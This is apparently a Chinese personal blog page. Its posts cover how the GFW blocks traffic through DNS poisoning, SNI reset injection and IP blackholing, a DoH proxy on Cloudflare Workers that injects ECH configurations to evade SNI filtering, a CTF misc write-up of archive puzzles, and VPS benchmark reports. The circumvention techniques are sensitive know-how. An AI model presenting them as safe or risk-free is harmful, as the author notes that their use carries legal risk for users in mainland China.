Posts on aloneowo's blog

有关GFW阻断的个人观察总结

Thu, 11 Jun 2026 00:00:00 +0000

有关GFW阻断的个人观察

前言

本文是对GFW的个人观测结果，受限于个人测试环境和信息获取渠道，仅作为个人观点

作为一个计算机学生，对于科学上网是既必须又无奈的需求。不得不承认国外的资料确实多且全。最近看到了 XTLS BBS 里面提到了有关使用 ECH + DoH 的讨论，以及由于这个帖子启发而自己手搓的worker的DoH涉及到了大量对GFW策略的试探。本文不对绕过GFW做叙述，只分享一些GFW常用的阻断策略。

当前 GFW 使用的阻断方式总的可以归于 3 类：DNS 污染、SNI 阻断以及 IP 黑洞。其中，使用 ECH + DoH 可以有效避免前两者的影响，但不能对后者抗干扰。据我所知，IP 黑洞应该是无解的。

声明

这个算是一个比较敏感的话题，所以我先声明一下几点内容：在这篇文章里，我不会提及任何关于突破内容审查机制的关键词，不介绍、传播、扩散任何关于突破内容审查机制的工具。任何技术探究均在个人的局域网中完成，使用的信道均为国家网络运营商提供的合法有效的信道。

友情提示：GFW在2021年11月中国国家互联网信息办公室发布的《网络数据安全管理条例（征求意见稿）》中被称为跨境安全网关，用于阻断访问境外反动网站和有害信息、防止来自境外的网络攻击、管控跨境网络数据传输、防范侦查打击跨境网络犯罪。擅自使用、搭建国际信道涉嫌违法，并有因此而被逮捕的事例，请各位慎重行事。

DNS 污染

我们在访问网站的时候，多数使用的是域名访问（我至少没看到谁闲的无聊用 IP 访问网站的）。在计算机网络中，计算机与计算机之间只能使用 IP 相互访问，域名的设计是为了让人类好记。人类是好记了，那机器怎么办？

于是就出现了 DNS 这个东西。DNS 负责将域名转换为 IP 返回给计算机，再让计算机访问那个 IP。比如说我要访问 baidu.com，那么会先在 DNS 上查询 baidu.com 的 A / AAAA 解析的 IP，然后计算机访问这个归属于百度的 IP。

那么假如说某一个用户尝试访问 google.com，按照 DNS 的标准理应返回 google.com 的 A / AAAA 解析，但是由于众所周知的原因，google 配不上东大。于是 GFW 搞了个 DNS 污染：当用户访问不被允许的网站的时候，DNS 直接返回一个错误的 IP，比如某个 DNS 非常的喜欢返回 localhost（感兴趣的可以查查）。由于客户端没有识别机制，那么计算机就会尝试去访问那个错误的 IP，很明显并不会有返回，那么这样最简单的 DNS 污染就实现了。

那么就有人要问了：换一个没有被污染的 DNS 不就可以了吗。早期确实是这样的，但是现在 1.1.1.1、8.8.8.8 还有 9.9.9.9 会被劫持到运营商的 DNS 上，同 IP 的 DoH 倒是没有被劫持，可能与 GFW 的逻辑有关。

SNI 阻断（RST阻断）

如果你能成功解决 DNS 污染的问题（比如用 DoH），恭喜你，你来到了第二关：SNI 阻断。现在大部分网站都上了 HTTPS，而 HTTPS 依赖于 TLS 握手。在 TLS 握手的第一个包——ClientHello 中，客户端会告诉服务器自己要访问哪个域名。这个字段就叫 SNI（Server Name Indication）。问题在于，TLS 1.2 及以下的 ClientHello 是明文传输的。也就是说，GFW 不需要解密你的流量，只需要读取 ClientHello 里的 SNI 字段，就知道你要访问哪个网站。

一个 IP 上可能托管了几百个网站（比如 Cloudflare 的 CDN），SNI 就是用来告诉服务器「我要访问的是你托管的那几百个网站里的哪一个」。（一部分 CDN 厂商的策略如 cf 导致了其优化解析会非常简单，由于篇幅原因暂且不表）

如果说你尝试访问 google.com，那么你的数据包会经历那么几个环节：

客户端发送 ClientHello，其中 SNI = google.com
GFW 的 DPI（深度包检测）设备看到这个 SNI
匹配到黑名单 → GFW 向客户端和服务器同时发送伪造的 TCP RST 包
连接被重置，浏览器显示 ERR_CONNECTION_RESET

这个过程非常快，通常在 TLS 握手完成之前就结束了。而且由于是双向 RST，即使客户端忽略 RST 继续发包，服务器那边也已经断开了。

为什么 SNI 阻断比 DNS 污染更难搞

DNS 污染好歹可以通过用 DoH / DoT 来解决——毕竟只是换了个地图。但 SNI 阻断不同，它是直接在你和服务器之间的路上设卡，你不管问谁的路，最后走到这条路上都会被拦并接受检查。

不过有个细节值得注意：GFW 目前主要检查的是 TLS 1.2 及以下的 ClientHello。如果你用 TLS 1.3，情况会稍有不同，因为 TLS 1.3 支持 ECH（Encrypted ClientHello）。

ECH 的全称是 Encrypted ClientHello，由 Cloudflare、AWS 几个互联网厂商制定的 DNS 规则。它的核心思路很简单：既然 GFW 是通过明文的 SNI 来判断你要访问哪个网站的，那把 SNI 加密了不就完了？

ECH 会把真正的 ClientHello（含 SNI）用服务器提前公布的公钥加密，外面再套一层明文的掩护 SNI——一般是 CDN 的泛域名，比如 cloudflare-ech.com。GFW 看到的就是一个去 Cloudflare 的普通握手包，真正的目标域名藏在加密层里，它无从得知。

以 X 为例，当向 X 发送 ClientHello 时，GFW 会收到一个发往 cloudflare-ech.com 的握手包，目标 IP 是 Cloudflare 的节点。此时对于 GFW 来说并不能判断出数据包是发往 X。而 X 的边缘节点正好有部署在 Cloudflare，所以此时 Cloudflare 的节点就会解包并转发到 X 的服务器。

但是 ECH 有几个现实问题：

需要服务器支持：服务器必须提前公布 ECH 公钥（通常通过 DNS HTTPS 记录发布），客户端才能加密 ClientHello。目前支持 ECH 的网站还不算多，但是目前已知 Cloudflare 和 Meta 已开启 ECH 的支持。
需要客户端支持：浏览器要开启 ECH。Chrome、Firefox 都支持，但需要手动开启或者等默认启用。
GFW 可能直接封 IP：如果你访问的 IP 本身就在黑名单里，即使 SNI 加密了也没用，比如说访问 Facebook 时不小心解析到了被墙的 IP——这就是下面要说的 IP 黑洞。

ECH + DoH 的组合

DoH 解决 DNS 层面的污染，ECH 解决 SNI 层面的阻断。两者结合，理论上可以绕过 GFW 的前两道防线。这也是开头提到的那个 XTLS BBS 帖子的核心思路。

但这里有个坑：DoH 的域名本身可能被 SNI 阻断。如果你用 dns.google 作为 DoH 服务器，那客户端在连接 Google DNS 的时候发的 ClientHello 里 SNI 就是 dns.google——这不又被拦了？所以实际操作中需要选一个没被墙的 DoH 域名，或者在 Cloudflare Workers 上自建 DoH。

aloneowo0 / Workers-DoH

正在读取仓库简介...

-- --

我设计 DoH 思路就是将支持 ECH 的网站，使用各种方式获取对应网站 ECH 字段并植入到返回的 DoH 请求中，从而实现对大部分网站的 ECH 支持。

当然这个方案也有问题，从流量特征的角度来说，其由于把 ECH 和外层 SNI 放到同一个包中，MTU 会变得巨大以至于可以轻松地检测出其是否使用了 ECH。~~人家GFW只是懒得管不是看不见~~，该工具为学习使用，请勿滥用

IP 黑洞

即使你完美解决了 DNS 污染和 SNI 阻断，你还有一个绕不开的问题：你总得和服务器建立连接。而建立连接就需要知道对方的 IP 地址，并且向这个 IP 发包。

GFW 维护了一个庞大的 IP 黑名单。当你的数据包的目的 IP 在黑名单里时，GFW 的边界路由器会直接丢弃这些包——不给你任何回应，不发 RST，什么都不发。从你的视角看，就是连接超时。

这比 SNI 阻断更底层、更暴力，因为它不依赖协议层面的特征，只看 IP。

SNI 阻断可以用 ECH 加密，DNS 污染可以用 DoH 绕过。但 IP 黑洞不同——IP 地址是网络层的寻址基础，你没法「隐藏」目的 IP。就好像你寄信总得写收件人地址，不可能把地址也加密了。

据我所知，目前在单机层面没有直接绕过 IP 黑洞的办法。你不可能让 GFW 的路由器不检查你的目的 IP。

据不可靠渠道所说，IPv6 的阻拦会比 IPv4 小不少，具体原因未知，但是似乎确实有这个情况。

以上均为个人观察总结，受限于测试环境与信息渠道，部分细节可能与实际情况存在偏差。技术本身是中立的，本文仅讨论技术原理，不构成任何操作建议，请遵守中国大陆法律。

一些个人的话（26.7.11）

ECH这个东西跟WG有点像，属于是~~比较的安全~~但是特征及其明显，~~我也是无语了~~RFC给的流量隐藏标准竟然是让所有流量都带上ECH？！

属实是嫌GFW不知道你是ECH的重度用户了😂

“The client offers ECH if it is in possession of a compatible ECH configuration and sends GREASE ECH otherwise.”

“客户端持有兼容的 ECH 配置时发送真实 ECH；否则发送 GREASE ECH。”

而且通过DoH+ECH的方法有很大的弊端，就是你先要有一个可以直接使用的DoH端点然后才能获取ECH密钥。

那么如果说DoH被污染了呢？

先不说比较困难的SNI阻断（RST阻断），光光DNS污染就够喝一壶的了。如果你要使用这个DoH端点，首先客户端会去53端口上的明文DNS上查询这个DoH端点，假如说这一步就被拿下那连连接都没建立就死了。

如果要抗这个DNS污染那么你就要换一个干净的DNS或者在本地写好DoH的初始ip。前者需要用一个干净的DNS去访问另一个DoH的端点，~~我都有干净的DNS了我用什么DoH啊？~~，后者需要改host，配置比较麻烦倒也不是不行。

如果DoH端点还上了SNI阻断那更完蛋：要么上ECH，要么上sni前置伪装。前者跟之前一样是套娃，后者还要为这个东西开tun接管流量，专门搞一个客户端，感觉相当麻烦。

整个流程下来问题还是很多的。把这个做好直面GFW我只能说~~还是代理方便~~

tzuctf实训misc

Tue, 02 Jun 2026 00:00:00 +0000

tzuctf做题记录Misc

沉睡的密码本

首先先把文件下下来

unzip解压能看到一个叫“What kind of document is this?”的文件，没后缀

然后看看是什么文件类型

1
2


aloneowo@THINKBOOK:~/ctf/ctf-framework/tmp$ file "What kind of document is this?"
What kind of document is this?: CDFV2 Encrypted

看不懂，问ai 然后尝试让ai用hashcat破解一下这个文件问ai这个是什么文件 ai直接读取了ppt里面的字符，我打开看了一下这种也就骗骗人类了Flag{okYOUWIN}

旧档案的裂缝

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125


aloneowo@THINKBOOK:~/ctf$ cd ctf-framework
aloneowo@THINKBOOK:~/ctf/ctf-framework$ cd tmp
aloneowo@THINKBOOK:~/ctf/ctf-framework/tmp$ ls
'QR Code.png' brute_bunny2.py osint_icon
'What kind of document is this?' cfd87e8503d67642084168bae658be429c3d424b9b7e24ee5b071ac584d05b84.zip prison
"Where's bunny.exe" challenge.jpg user
 a12a8997-bd88-4b4f-b7fc-26bef215e7dd.jpg decrypted_document 优质牢房.zip
 attachment-10.zip extracted.zip 牢房
 attachment.tar lsp-smoke 镜厅中的回响
 brute_bunny.py office_hash.txt
aloneowo@THINKBOOK:~/ctf/ctf-framework/tmp$ tar attachment.tar
tar: You may not specify more than one '-Acdtrux', '--delete' or '--test-label' option
Try 'tar --help' or 'tar --usage' for more information.
aloneowo@THINKBOOK:~/ctf/ctf-framework/tmp$ tar -xvf attachment.tar
tmp/
tmp/._none.zip
tmp/none.zip
aloneowo@THINKBOOK:~/ctf/ctf-framework/tmp$ cd tmp
aloneowo@THINKBOOK:~/ctf/ctf-framework/tmp/tmp$ ls
none.zip
aloneowo@THINKBOOK:~/ctf/ctf-framework/tmp/tmp$ unzip nome.zip
unzip: cannot find or open nome.zip, nome.zip.zip or nome.zip.ZIP.
aloneowo@THINKBOOK:~/ctf/ctf-framework/tmp/tmp$ unzip none.zip
Archive: none.zip
 inflating: res.zip 
 inflating: woo.jpg 
aloneowo@THINKBOOK:~/ctf/ctf-framework/tmp/tmp$ unzip res.zip
Archive: res.zip
[res.zip] flag.txt password: aloneowo@THINKBOOK:~/ctf/ctf-framework/tmp/tmp$ 
aloneowo@THINKBOOK:~/ctf/ctf-framework/tmp/tmp$ zipinfo -v res.zip
Archive: res.zip
There is no zipfile comment.

End-of-central-directory record:
-------------------------------

 Zip archive file size: 344 (0000000000000158h)
 Actual end-cent-dir record offset: 322 (0000000000000142h)
 Expected end-cent-dir record offset: 322 (0000000000000142h)
 (based on the length of the central directory and its expected offset)

 This zipfile constitutes the sole disk of a single-part archive; its
 central directory contains 2 entries.
 The central directory is 182 (00000000000000B6h) bytes long,
 and its (expected) offset in bytes from the beginning of the zipfile
 is 140 (000000000000008Ch).


Central directory entry #1:
---------------------------

 flag.txt

 offset of local header from start of archive: 0
 (0000000000000000h) bytes
 file system or operating system of origin: MS-DOS, OS/2 or NT FAT
 version of encoding software: 2.0
 minimum file system compatibility required: MS-DOS, OS/2 or NT FAT
 minimum software version required to extract: 2.0
 compression method: deflated
 compression sub-type (deflation): normal
 file security status: encrypted
 extended local header: yes
 file last modified on (DOS date/time): 2019 Dec 2 20:22:22
 32-bit CRC value (hex): b0c530d8
 compressed size: 29 bytes
 uncompressed size: 17 bytes
 length of filename: 8 characters
 length of extra field: 36 bytes
 length of file comment: 0 characters
 disk number on which file begins: disk 1
 apparent file type: binary
 non-MSDOS external file attributes: 000000 hex
 MS-DOS file attributes (20 hex): arc 

 The central-directory extra field contains:
 - A subfield with ID 0x000a (PKWARE Win32) and 32 data bytes. The first
 20 are: 00 00 00 00 01 00 18 00 01 02 2b 25 0b a9 d5 01 92 26 14 c9.

 There is no file comment.

Central directory entry #2:
---------------------------

 There are an extra -36 bytes preceding this file.

 secret.txt

 offset of local header from start of archive: 67
 (0000000000000043h) bytes
 file system or operating system of origin: MS-DOS, OS/2 or NT FAT
 version of encoding software: 2.0
 minimum file system compatibility required: MS-DOS, OS/2 or NT FAT
 minimum software version required to extract: 2.0
 compression method: deflated
 compression sub-type (deflation): normal
 file security status: encrypted
 extended local header: yes
 file last modified on (DOS date/time): 2020 Jan 14 13:14:32
 32-bit CRC value (hex): 483344c3
 compressed size: 33 bytes
 uncompressed size: 19 bytes
 length of filename: 10 characters
 length of extra field: 36 bytes
 length of file comment: 0 characters
 disk number on which file begins: disk 1
 apparent file type: binary
 non-MSDOS external file attributes: 000000 hex
 MS-DOS file attributes (20 hex): arc 

 The central-directory extra field contains:
 - A subfield with ID 0x000a (PKWARE Win32) and 32 data bytes. The first
 20 are: 00 00 00 00 01 00 18 00 a8 7a d6 80 99 ca d5 01 a8 7a d6 80.

 There is no file comment.

aloneowo@THINKBOOK:~/ctf/ctf-framework/tmp/tmp$ unzip ._none.zip
Archive: ._none.zip
 End-of-central-directory signature not found. Either this file is not
 a zipfile, or it constitutes one disk of a multi-part archive. In the
 latter case the central directory and zipfile comment will be found on
 the last disk(s) of this archive.
unzip: cannot find zipfile directory in one of ._none.zip or
 ._none.zip.zip, and cannot find ._none.zip.ZIP, period.
aloneowo@THINKBOOK:~/ctf/ctf-framework/tmp/tmp$ 

通过多次解压和获取zipinfo可以看到，reszip里面有一个flag。让ai分析一下这些文件的异常估计这个res的密码和这个图片有关系。让ai分析了一下图片直接拿到flag，估计前面那个res是幌子this is the flag

指尖残影

先把文件解压得到2个文件

1
2
3
4


aloneowo@THINKBOOK:~/ctf/ctf-framework/tmp$ unzip 35352321b4a16f42ae3a2304464e7b9ee48ff5cd8ad97099d4c7bf123e3abb85.zip
Archive: 35352321b4a16f42ae3a2304464e7b9ee48ff5cd8ad97099d4c7bf123e3abb85.zip
 inflating: 233.rar 
 inflating: key.ftm 

继续解压233.rar会发现文件损坏。

让ai看一下文件情况然后修一下解压后看到了一个flag.txt还有一个png，那多半跟png有关

让ai处理一下图片

SuperDoH：基于 Cloudflare Workers 的多上游 DNS over HTTPS 代理，支持ECH和路由注入

Thu, 28 May 2026 00:00:00 +0000

先推销一下自己的项目（手动 doge）

aloneowo0 / SuperDoH

正在读取仓库简介...

-- --

搭建一个个人 DoH 服务

Cloudflare 免费计划有每日额度限制，请不要随便公开自己的 DoH 端点。

前言

随便讲一下 DNS 的作用，和主题关系不大

我们访问互联网时，通常会在浏览器里输入一个网址。但计算机真正用来连接网络资源的是 IP 地址，而不是域名。因为 IP 地址不好记，所以才有了 DNS：它负责把 baidu.com 这样的域名转换成对应的 IP 地址。

能硬背 32 位 IPv6 地址的也是个狠人

传统 DNS 通常运行在 UDP 53 上，默认不加密，因此安全性和抗劫持能力都比较差。在早期 HTTP 环境下，DNS 劫持并不少见。为了解决这些问题，后来出现了几种加密 DNS 协议，比如 DoT、DoH 和 DoQ。

DoH 有什么用

DoH 全称是 DNS over HTTPS。简单来说，它会把 DNS 查询封装进 HTTPS 请求里，并通过 SSL/TLS 证书来保证传输过程的安全性。这里引用两段来自 Wiki 的数字身份认证说明：

“若注册者认定一个人的身份，是通过注册者信任的另外一个人来进行的。注册者信任的那个人就是身份认证机构（可以是一个自然人）。把数字身份比喻成一个证件，那么数字证书就是身份认证机构盖在数字身份证上的一个章或印（或者说加在数字身份证上的一个签名），这一行为表示身份认证机构已认定这个人。”

“身份认证机构是人们注册公钥的机构。注册之后，身份认证机构就向注册者发一数字证书，也就是说在注册者的数字身份证上加签。服务有免费，也有收费。身份认证机构也可以是一个自然人，就如 PGP 和 GPG 系统所倡导的。”

简单来说，因为 DoH 使用 HTTPS 作为传输层，我们可以降低 DNS 查询被监听或篡改的风险。比如某些喜欢往 DNS 结果里“投毒”、把域名解析到 localhost 的情况，DoH 就能在一定程度上缓解。

项目实现的功能（推销）

这个项目主要实现了下面几个功能：

通过 cf-forward-ip 实现 ECS 的手动注入。翻译成人话就是：解析结果会尽量根据用户所在地区进行优化。
使用并发请求加速解析，并返回最快的上游结果。
为cloudflare，Meta提供了完整的ECH注入
带有简单过滤逻辑，可以识别错误的 DNS 返回；返回 localhost 的结果也会被过滤。
为google解析的内容引用了Sheas Cealing的规则使其可以在国内访问

部署

搭建这个服务需要准备：

一个 Cloudflare 账号
一个托管到 Cloudflare 的域名
一个 GitHub 账号

部署步骤如下：

Fork 我的项目。

aloneowo0 / Workers-DoH

正在读取仓库简介...

-- --

2. 修改 .env 文件里的内容并保存。如果没有特殊需求，保持默认配置即可。 3. 登录 Cloudflare，进入 Workers 和 Pages，点击创建应用程序。 4. 选择连接到 GitHub，并选择刚刚 Fork 的项目。保持默认配置，直接部署。 5. 绑定一个域名。

设置的域名或子域名尽量不要出现敏感词汇，否则容易被阻断。

等待部署完成后，就可以开始使用了。

使用

目前我确认 Chrome、Firefox 浏览器和 Windows 11 系统都支持配置 DoH。其他客户端是否支持，建议自行测试。

ECH实现的原理

cloudflare的ECH其实是公开的，而且很离谱的是全部ECH的密钥是同一个，更离谱的是cf关闭ECH的方式是把DNS上HTTPS字段的解析里面的ECH给删掉，所以说如果我们通过构建一个带有正确ECH的DNS解析结果就可以实现通过ECH与网站链接

Meta的情况会特殊一点。Meta本身是支持ECH的，但是由于不明的原因ECH没有公布在DNS中，跟cloudflare那些没有公布ECH的网站类似都是不公开ECH。问题是Meta的ECH是独立的，获取会比较麻烦。我在github的一个帖子中看到一个获取的方法，使用的是retry来实现ECH的获取。简单点说是如果你发送一个错误的ECH给服务器，如果服务器收到了会返回一个retry_config让你的浏览器重试，这个retry里面就包含正确的ECH字段，从而获取到正确的ECH。

然后对上述网站进行dns结果重写并注入ECH就可以使用ECH访问了

Gclaw测试报告

Mon, 25 May 2026 00:00:00 +0000

Gclaw机器测试报告

不说废话了，直接上内容

💻基本信息

🎬IP质量

🌐网络质量

📍回程路由

NodeQuality链接

随便说说

这个ipv6是我用route64的wg隧道安装的。机器感觉很矛盾，应该是有动态的（感觉更像是静态的？）公网ip上游却限制端口只有22可以连接。带宽还是挺大的。

不得不说cloudflare的解析是真的神。这个机器装了tunnel后安装服务，在浙江联通访问延迟非常离谱，可以到达1000ms！

lucky测出来是nat3环境。。。

26.7.11,好吧已经歇菜了

如果有人购买了这个机器，可以使用cloudflare tunnel或者tailscale funnel把网站先接出来，然后用gcore的cdn去拉机器。测试下来跟直连差别不大，路由比较正常。一般gcore分的节点是位于HK和SG的，延迟大概300ms以内还是可以的。~~原汤化原食了说是~~

注意一下gcore的免费版本身是不支持ipv6回源的，所以说这个v6没什么实际的用处，可能用于dns解析直连ip会有点用，或者做流量出口？没试过。

混元claw测试报告

Sun, 24 May 2026 00:00:00 +0000

混元claw测试报告

前言

上个月网上看到有人说HY的claw机器可以免费开，性能好像还不错的样子。我尝试蹲了一手抢到2台机器，一台位置在南京，一台在上海，都是腾讯云机房的机器

测试结果

我原打算是使用nq来测试的，但是没想到nq有很多链接走的都是github的链接，还有一个gb5的测试文件下载时长高达3小时。。。没招

位于上海机器的测试结果

头部	内容
测评频道	https://t.me/+UHVoo2U4VyA5NTQ1
VPS融合怪版本	2026.05.08
Shell项目地址	https://github.com/spiritLHLS/ecs
Go项目地址 [推荐]	https://github.com/oneclickvirt/ecs

CPU: AMD EPYC 9K84 96-Core Processor
IPv4 ASN: AS45090 Shenzhen Tencent Computer Systems Company Limited
位置: Shanghai / Shanghai

基础信息查询	内容
CPU 核心数	2
CPU 频率	2600.026 MHz
CPU 缓存	L1: 32.00 KB / L2: 1.00 MB / L3: 32.00 MB
AES-NI指令集	✔ Enabled
VM-x/AMD-V支持	❌ Disabled
内存	1.82 GiB / 3.57 GiB
Swap	408.70 MiB / 2.00 GiB
硬盘空间	12.03 GiB / 39.26 GiB
启动盘路径	/dev/vda2
系统在线时间	9 days, 1 hour 50 min
负载	0.10, 0.12, 0.06
系统	Ubuntu 24.04.4 LTS (x86_64)
架构	x86_64 (64 Bit)
内核	6.8.0-111-generic
TCP加速方式	bbr
虚拟化架构	KVM
NAT类型	Symmetric

CPU测试	内容
1 线程测试(单核)得分	4164 Scores
2 线程测试(多核)得分	4664 Scores

内存测试	内容
单线程读测试	51589.84 MB/s
单线程写测试	29848.08 MB/s

磁盘dd读写测试

1
2
3
4


 -> 磁盘IO测试中 (4K Block/1M Block, Direct Mode)
 测试操作		写速度					读速度
 100MB-4K Block		7.2 MB/s (1754 IOPS, 14.59s)		19.2 MB/s (4685 IOPS, 5.46s)
 1GB-1M Block		161 MB/s (153 IOPS, 6.52s)		161 MB/s (154 IOPS, 6.49s)

1
2
3
4
5
6


数据仅作参考，不代表100%准确，如果和实际情况不一致请手动查询多个数据库比对
以下为各数据库编号，输出结果后将自带数据库来源对应的编号
ipinfo数据库 [0] | scamalytics数据库 [1] | virustotal数据库 [2] | abuseipdb数据库 [3] | ip2location数据库 [4]
ip-api数据库 [5] | ipwhois数据库 [6] | ipregistry数据库 [7] | ipdata数据库 [8] | db-ip数据库 [9]
ipapiis数据库 [A] | ipapicom数据库 [B] | bigdatacloud数据库 [C] | dkly数据库 [D] | ipqualityscore数据库 [E]
ipintel数据库 [F] | ipfighter数据库 [G] | fraudlogix数据库 [H] | cloudflare数据库 [I] |

IP质量检测 - 安全得分

字段	内容
信任得分(越高越好)	88 [8]
VPN得分(越低越好)	0 [8]
代理得分(越低越好)	0 [8]
社区投票-无害	0 [2]
社区投票-恶意	0 [2]
威胁得分(越低越好)	37 [8]
欺诈得分(越低越好)	65 [E]
滥用得分(越低越好)	0 [3]
ASN滥用得分(越低越好)	0.0032 (Low) [A]
公司滥用得分(越低越好)	0.0084 (Low) [A]
威胁级别	low [9 B]
流量占比	真人(越高越好)22% [I] 机器人(越低越好)77% [I]
黑名单记录统计	(有多少黑名单网站有记录):
无害记录数	0 [2] 恶意记录数: 0 [2] 可疑记录数: 0 [2] 无记录数: 91 [2]

IP质量检测 - 安全信息

字段	内容
使用类型	business [8 9] hosting [0 3 7 A C]
公司类型	business [0 7] hosting [A]
浏览器类型	主流80% 其他19% [I]
设备类型	桌面87% 移动12% 其他0% [I]
操作系统类型	主流95% 其他4% [I]
是否云提供商	Yes [7 D]
是否数据中心	Yes [0 A C] No [5 8]
是否移动设备	Yes [E] No [5 A C]
是否代理	Yes [4 7 C D E] No [0 5 8 9 A B]
是否VPN	No [0 7 A C D] Yes [E]
是否TorExit	No [7 D]
是否Tor出口	No [7 D]
是否网络爬虫	No [9 A B E]
是否匿名	Yes [7 D] No [8]
是否攻击者	No [7 8 D]
是否滥用者	No [7 8 C D E] Yes [A]
是否威胁	No [7 8 C D]
是否中继	No [0 7 8 C D]
是否Bogon	No [7 8 A C D]
是否机器人	No [E]
DNS-黑名单	304(Total_Check) 0(Clean) 9(Blacklisted) 16(Other)
Google搜索可行性	NO

邮件端口检测

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24


Platform SMTP SMTPS POP3 POP3S IMAP IMAPS
LocalPort ✔ ✔ ✔ ✔ ✔ ✔ 
QQ ✔ ✔ ✔ ✘ ✔ ✘ 
163 ✔ ✔ ✔ ✘ ✔ ✘ 
Sohu ✔ ✔ ✔ ✘ ✔ ✘ 
Yandex ✔ ✔ ✔ ✘ ✔ ✘ 
Gmail ✔ ✔ ✘ ✘ ✘ ✘ 
Outlook ✔ ✘ ✔ ✘ ✔ ✘ 
Office365 ✔ ✘ ✔ ✘ ✔ ✘ 
Yahoo ✔ ✔ ✘ ✘ ✘ ✘ 
MailCOM ✔ ✔ ✔ ✘ ✔ ✘ 
MailRU ✔ ✔ ✘ ✘ ✔ ✘ 
AOL ✔ ✔ ✘ ✘ ✘ ✘ 
GMX ✔ ✔ ✔ ✘ ✔ ✘ 
Sina ✔ ✘ ✔ ✘ ✔ ✘ 
Apple ✘ ✔ ✘ ✘ ✘ ✘ 
FastMail ✘ ✔ ✘ ✘ ✘ ✘ 
ProtonMail✘ ✘ ✘ ✘ ✘ ✘ 
MXRoute ✔ ✘ ✔ ✘ ✔ ✘ 
Namecrane ✔ ✔ ✔ ✘ ✔ ✘ 
XYAMail ✘ ✘ ✘ ✘ ✘ ✘ 
ZohoMail ✘ ✔ ✘ ✘ ✘ ✘ 
Inbox_eu ✔ ✔ ✔ ✘ ✘ ✘ 
Free_fr ✘ ✔ ✔ ✘ ✔ ✘ 

全国延迟检测	内容/ms
联通上海	6
联通太原	26
电信南京	10
电信武汉	20
移动成都	41

自动更新测速节点列表

1
2
3
4
5


位置		 上传速度	 下载速度	 延迟
Speedtest.net	 708.29Mbps	 927.00Mbps	 5.31ms	
日本东京	 20.81Mbps	 0.18Mbps	 174.91ms	
联通上海5G	 1262.69Mbps	 1066.05Mbps	 5.42ms	
移动Suzhou	 669.06Mbps	 617.26Mbps	 17.73ms	

位于南京机器的测试结果

头部	内容
测评频道	https://t.me/+UHVoo2U4VyA5NTQ1
VPS融合怪版本	2026.05.08
Shell项目地址	https://github.com/spiritLHLS/ecs
Go项目地址 [推荐]	https://github.com/oneclickvirt/ecs

CPU: AMD EPYC 9K84 96-Core Processor
IPv4 ASN: AS45090 Shenzhen Tencent Computer Systems Company Limited
位置: Nanjing / Jiangsu

基础信息查询	内容
CPU 核心数	2
CPU 频率	2600.030 MHz
CPU 缓存	L1: 32.00 KB / L2: 1.00 MB / L3: 32.00 MB
AES-NI指令集	✔ Enabled
VM-x/AMD-V支持	❌ Disabled
内存	1.42 GiB / 3.57 GiB
Swap	557.50 MiB / 4.00 GiB
硬盘空间	21.51 GiB / 39.26 GiB
启动盘路径	/dev/vda2
系统在线时间	13 days, 4 hour 27 min
负载	0.00, 0.03, 0.07
系统	Ubuntu 24.04.4 LTS (x86_64)
架构	x86_64 (64 Bit)
内核	6.8.0-71-generic
TCP加速方式	bbr
虚拟化架构	KVM

CPU测试	内容
1 线程测试(单核)得分	4163 Scores
2 线程测试(多核)得分	4655 Scores

内存测试	内容
单线程读测试	51795.25 MB/s
单线程写测试	29356.00 MB/s

磁盘dd读写测试

1
2
3
4
5


 -> 磁盘IO测试中 (4K Block/1M Block, Direct Mode)
 测试操作		写速度					读速度
 100MB-4K Block		4.5 MB/s (1089 IOPS, 23.52s)		14.5 MB/s (3535 IOPS, 7.24s)
 1GB-1M Block		158 MB/s (151 IOPS, 6.62s)		160 MB/s (152 IOPS, 6.55s)
正在并发测试中，大概2~3分钟无输出，请耐心等待。。。

1
2
3
4
5
6


数据仅作参考，不代表100%准确，如果和实际情况不一致请手动查询多个数据库比对
以下为各数据库编号，输出结果后将自带数据库来源对应的编号
ipinfo数据库 [0] | scamalytics数据库 [1] | virustotal数据库 [2] | abuseipdb数据库 [3] | ip2location数据库 [4]
ip-api数据库 [5] | ipwhois数据库 [6] | ipregistry数据库 [7] | ipdata数据库 [8] | db-ip数据库 [9]
ipapiis数据库 [A] | ipapicom数据库 [B] | bigdatacloud数据库 [C] | dkly数据库 [D] | ipqualityscore数据库 [E]
ipintel数据库 [F] | ipfighter数据库 [G] | fraudlogix数据库 [H] | cloudflare数据库 [I] |

IP质量检测 - 安全得分

字段	内容
信任得分(越高越好)	88 [8]
VPN得分(越低越好)	0 [8]
代理得分(越低越好)	0 [8]
社区投票-无害	0 [2]
社区投票-恶意	0 [2]
威胁得分(越低越好)	37 [8]
欺诈得分(越低越好)	65 [E]
滥用得分(越低越好)	12 [3]
ASN滥用得分(越低越好)	0.0032 (Low) [A]
公司滥用得分(越低越好)	0.0017 (Low) [A]
威胁级别	low [9 B]
流量占比	真人(越高越好)22% [I] 机器人(越低越好)77% [I]
黑名单记录统计	(有多少黑名单网站有记录):
无害记录数	0 [2] 恶意记录数: 1 [2] 可疑记录数: 0 [2] 无记录数: 90 [2]

IP质量检测 - 安全信息

字段	内容
使用类型	hosting [0 3 7 A C] business [8 9]
公司类型	hosting [7] business [0] isp [A]
浏览器类型	主流80% 其他19% [I]
设备类型	桌面87% 移动12% 其他0% [I]
操作系统类型	主流95% 其他4% [I]
是否云提供商	Yes [7 D]
是否数据中心	Yes [0 A C] No [5 8]
是否移动设备	No [5 A C] Yes [E]
是否代理	No [0 4 5 7 8 9 A B C D] Yes [E]
是否VPN	No [0 7 A C D] Yes [E]
是否TorExit	No [7 D]
是否Tor出口	No [7 D]
是否网络爬虫	No [9 A B E]
是否匿名	No [7 8 D]
是否攻击者	No [7 8 D]
是否滥用者	No [7 8 A C D E]
是否威胁	No [7 8 C D]
是否中继	No [0 7 8 C D]
是否Bogon	No [7 8 A C D]
是否机器人	No [E]
